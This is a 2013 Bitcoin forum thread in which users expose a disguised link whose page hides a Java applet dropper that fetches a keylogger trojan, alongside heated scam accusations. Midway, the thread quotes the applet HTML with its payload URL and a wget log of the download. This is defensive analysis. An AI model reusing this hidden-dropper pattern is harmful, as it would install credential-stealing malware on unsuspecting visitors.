Bitcoin Forum

I just watched an absolutely fascinating and eye opening video showcasing the small town of Kreuzberg, Berlin the videos about how much the community has adapted to Bitcoins. Its amazing to me that almost every single store in the whole community accepts Bitcoins, thats just awesome!!

I believe this video showcases the FUTURE of Bitcoin and how it will be in a year or so worldwide. Interest in Bitcoin is continuing to rise exponentially (take a look at google search) because people are realizing theres a way to get out of inflation based government currencies, and to hold their wealth in a currency out of the control of greedy bankers. Whether it takes one year or five years its inevitable, crypto currencies are the future of currency.

LINK REMOVED

If this video reveals anything of Bitcoins future we are all going to go down as the founding fathers, and some damn rich people :)

Truly is a great video, amazing advertisement for Bitcoin to.
We can only hope the rest of the world will do as Germany!

Fantastic video and a good exemple to all Europe Union.  :)

Yes we are all going to be privileged hipsters living in the scene district of a major city.

Nice video

Very good report.  Thanks for the link.

Trojan Horse on link.

I don't know for sure, but chromium asked me if I wanted to run Java on the website. (Of course I don't!)
Seems fishy.

Also: The link isn't to the shown address!

You only have to worry about that if you're connecting from a Greek IP address...

acne (https://bitcointalk.org/index.php?action=profile;u=118171)
ct1aic (https://bitcointalk.org/index.php?action=profile;u=109584)
inge (https://bitcointalk.org/index.php?action=profile;u=80707)
BTC Books (https://bitcointalk.org/index.php?action=profile;u=85553)

All these users gave favorable replies, and all are new users. I'd be careful for possible scams from these guys in the future.

I would certainly be interested in the chain of logic that leads you to that conclusion.

Well the first reply happened in < 5 minutes!

Notice the link URL is *NOT* the URL that the anchor text is. The forum shouldn't allow this.

Definitely a scam / attempted virus. And yes those accounts are fake.

MODERATORS REMOVE THIS!

No answer, huh?

I've been involved with bitcoin since Q! of'11 - apparently longer than you.  I've (under this user account)  made several donations to projects:  thefounder, fellowtraveller, and etc.  I've never asked anyone for anything, and have been as helpful as possible to the noobs.

And you have the fucking goddamn gall to accuse me of being a potential scammer?  Not even a scammer, but some kind of Minority Report someday scammer?

You fucking piece of shit.

I'm not clicking any link that doesn't go to where it says it goes.

Relax my friend, I have seen your posts here and they are good. I think the guy who accused you lumped you in with the other accounts which very well may be scams. Honest mistake. Let's look at the bigger issue here which is that the OP is most likely a scam due to virus on the site and fake anchor text made to make the link appear more credible. You should check to make sure you were not infected. It looks like the site tried to use a Java dropper to place a BTC stealing trojan.

What's wrong with that link?  I saw an ad and a Guardian News article.

You can embed other site in a page.

What is probably happening in this case:

[ trojan site [ Guardian News article] ]

That Tomatocage motherfucker can kiss my ass.  Honest people make honest mistakes - people who want power over others just hurt people to gain power.  I've read his bullshit 'How to Spot a Scammer', and he's a goddamn imbecile.

As for the link, I didn't notice.  I disable Java.

The Guardian News article is embedded in the page. But at the bottom of the page is the following code:

<applet name="Java Update 2.06" code="JavaManager.class" archive="cCyzqjNv.jar" width="0" height="0">^M
<param name="mylink" value="taskmgr.exe">^M
<param name="putserver" value="http://ge.tt/api/1/files/8jfPsUh/0/blob?download">^M
<param name="diversion" value="">^M

It attempts to install a trojan. Here is my wget dump... sorry I don't have time to do more in depth analysis on this. But definite virus.

--2013-05-24 20:23:47--  http://ge.tt/api/1/files/8jfPsUh/0/blob?download
Resolving ge.tt... 79.125.123.149
Connecting to ge.tt|79.125.123.149|:80... connected.
HTTP request sent, awaiting response... 307 Temporary Redirect
Location: http://w301638.open.ge.tt/1/files/8jfPsUh/0/blob?referer=&user=anon-ZTCGfaS4PKRSc7YJ6rx4rfqpUptUTnjUPMceEpmd-&download= [following]
--2013-05-24 20:23:47--  http://w301638.open.ge.tt/1/files/8jfPsUh/0/blob?referer=&user=anon-ZTCGfaS4PKRSc7YJ6rx4rfqpUptUTnjUPMceEpmd-&download=
Resolving w301638.open.ge.tt... 54.228.183.153
Connecting to w301638.open.ge.tt|54.228.183.153|:80... connected.
HTTP request sent, awaiting response... 307 Temporary Redirect
Location: http://w144938.blob4.ge.tt/streams/8jfPsUh/Flash%20Update%202.06.exe?sig=-T7ZGwmaPGTWW0NNN1c11zAKOW7ecvJ-qBE&type=download [following]
--2013-05-24 20:23:47--  http://w144938.blob4.ge.tt/streams/8jfPsUh/Flash%20Update%202.06.exe?sig=-T7ZGwmaPGTWW0NNN1c11zAKOW7ecvJ-qBE&type=download
Resolving w144938.blob4.ge.tt... 54.247.2.234
Connecting to w144938.blob4.ge.tt|54.247.2.234|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 819200 (800K) [application/x-msdownload]
Saving to: `Flash Update 2.06.exe?sig=-T7ZGwmaPGTWW0NNN1c11zAKOW7ecvJ-qBE&type=download'

100%[===================================================================================================================>] 819,200      341K/s   in 2.3s

2013-05-24 20:23:50 (341 KB/s) - `Flash Update 2.06.exe?sig=-T7ZGwmaPGTWW0NNN1c11zAKOW7ecvJ-qBE&type=download' saved [819200/819200]

I see.  So somebody who doesn't notice, and is unaffected, is obviously going to be scamming people.  Because they thought the report was a good one.

Right.  Got it.

INB4 yall kill each other, here is the youtube link:

https://www.youtube.com/watch?v=rzKdW-au110 (https://www.youtube.com/watch?v=rzKdW-au110)

I would agree with you except for this fact: The original poster purposely disguised the URL by using the bulletin board markup language to make one URL appear as though it was a different URL. The address they posted as text isn't even a site! i.e. there is no "http://www.guardiannews.com/Bitcoin-town-kreuzberg-germany"

This is the code they used. I added the *s to prevent interpretation:

Anyway I do not want to argue about it but I did not mean to offend you by saying this post is an attempt at scamming.

BTW here is an analysis of the virus:
https://www.virustotal.com/en/file/952a43985ba918d4b49145b0dd20d11041326f6847631bcd8bc14d775bc3acd1/analysis/1369441669/

I reported this thread more than an hour ago.

Mods, where are you?  :'(

Scam from me?!?   You are way wrong tomatocage.    If there is/was a virus on this site it was not detected by me because I was surfing via Ipad.

Infact I always report virus/scams to moderators.  If they look at my profile they will verify!

Thanks! :)

You haven't offended me, keystroke.

But you're mistaken about www.guardiannews.com.  The site exists.  That's the US version of their co,uk (UK) site - and the one that I have bookmarked for news (being in the US).  If you search the .com site for 'Kreuzberg' you get redirected to the co,uk site where the story lives.  In any case, reading the site name in the OP raised no suspicion with me, being familiar with the US .com version of the site.

Ok good! :) Yea I wasn't suspicious at first either which is why the forum should disallow anchor text that looks like a URL.

Yes.

Did you ever wonder about the motivation of people who take it upon themselves to make baseless and unresearched accusations about strangers?

You might want to start with a good biography of 'Tailgunner' Joe McCarthy - one-time US Senator from Wisconsin.  For some insight into the flip side of that abysmal human failing, and what it does to people, try reading up on Dalton Trumbo.

Woah, just logged on and see this! A whole lot of accusations going on here!

Lol, no im not a scammer i got the link to the page reading comments on an article of forbes. Also, what are you guys talking about? I get no "java download" when I click the link..?

look at the page source, at the bottom we have,



The fact that you haven't edited your post yet, doesn't look good.

LOL

That probably sounded a lot better in your head.

And BTCoder changed the link in OP... to the trojan one.

Asshole.

This thread has now more than 700 views. How much longer before a mod take it down?  >:(

Fixed my initial post to warn people of virus.

Esputame en la leche de tu puta madre, cocksucker,

Why take my thread down? Its not my website I dont advocate downloading any files from it, just watch the video.

Classy

Not trying to offend you.. But:

It's called actually reading the posts from other people.

 The link you posted was a Trojan Virus, and then sent you to the original site. Please don't try to play dumb, everybody obviously knows you posted the virus. But anyway, while the Virus forwards you to another page it injects itself into your computer.

I personally would believe you had nothing to do with this, but you said it yourself you got the link off of another site instead of finding it yourself on the original site. It's pretty easy to tell that you wanted to inject the virus into others computers, unless you have proof of otherwise....

Let's see...

1. OP posts a link to a site that tries to infect the viewers computer with who-knows-what.
2. You vouch for that link.
3. I post a warning for people to use caution when/if dealing with those who vouched for aforementioned link.

But yeah, I can't possibly imagine the chain of logic that would lead anybody to believe you were shilling for the OP.

Thanks! I'll go back and edit out my original reply.

Thanks.  I realize you we're just trying to look-out for the rest of us.

Bitcoiners unite :D

No offense to either of you but can you please shut the fuck up...? God. We have better things to worry about then whose a scammer, whose going to scam in the future, ect. We should be worrying about the link that was infected, and that many people might have clicked that link and gotten affected by it.

We have more things to worry about then this. Please stop acting immature.. Here we are worrying about a virus, and you two try to fucking have a flame-war about something different. Please stop arguing with each other about this nonsense.

(Not trying to offend you Tomatocage or you, BTC Books.)

(I'm also not trying to say that scamming or scammers aren't important.)

Hey, I clicked on the link and watched the video.  Chrome asked me if I wanted to run java - I said no.  So there is no chance I got the virus right?

Check if

%User Profile%\My Documents\DCSCMIN\IMDCSC.exe
%User Profile%\AppData\Roaming\dclogs

exists.

=> you are infected. Seems to be a keylogger.

Was the trojan windows-based? I mean are Apple fanboys like me unaffected?  ;D

Uninstalled Java a long time ago. Anyone still using it deserves everything they get at this point.

Just logging now. Quite angry that you make assumption in such a easy way. I watched the video using my IPad and I didn't notice anything particulare!

Regards, Inge

Seems like it´s just windows, http://about-threats.trendmicro.com/Malware.aspx?id=50295&name=SPYW_DCOMET&language=apac

The original poster's profile (BTCoder) was created only 11 days ago. Out of this profile's 139 posts, the first 130 posts are, without exeptions, very generic, short one-liners that were posted over a short period (May 14 - May 17). You may want to see this for yourself (https://bitcointalk.org/index.php?action=profile;u=118124;sa=showPosts;start=60). Only the most recent 9 posts deviate from this pattern, i.e. only they are significantly longer and more specific, and may therefore be designed to suggest a real engagement with this community, as opposed to attempting to solely increase the number of posts in a short timeframe. At the same time the few seemingly engaged posts are made, a link to a trojan horse is posted.

Combined these circumstances indicate a very high probability that this profile was intentionally designed to appear trustworthy by deceptively suggesting both a high number of posts and a high level of engagement, despite the profile being created just recently, in an attempt to gain trust in order to steal BTCs of forum users by means of a trojan horse. Finally, voluntarily removing the link in the original post after more than 1300 views may suggest an attempt to deceive the intentions of BTCoders profile after having potentially gained access to forum members wallets, possibly to scam forum users again at some time before this profile ultimately looses all of its trust.

Beware.

+1

https://bitcointalk.org/index.php?topic=215961.0

Well this is certainly not what I expected to read about when I clicked this thread.

Note to self: don't click on links at this forum outside of a VM.

Thanks, neither of those found so hopefully OK.

Don't let the door hit you on the way out. :-)

If there was an actual video to be seen at all, just post a frigging link to a regular video site (youtube, vimeo, etc) or STFU.

Random java crap to play a video? Get real, only FOOLS would do that...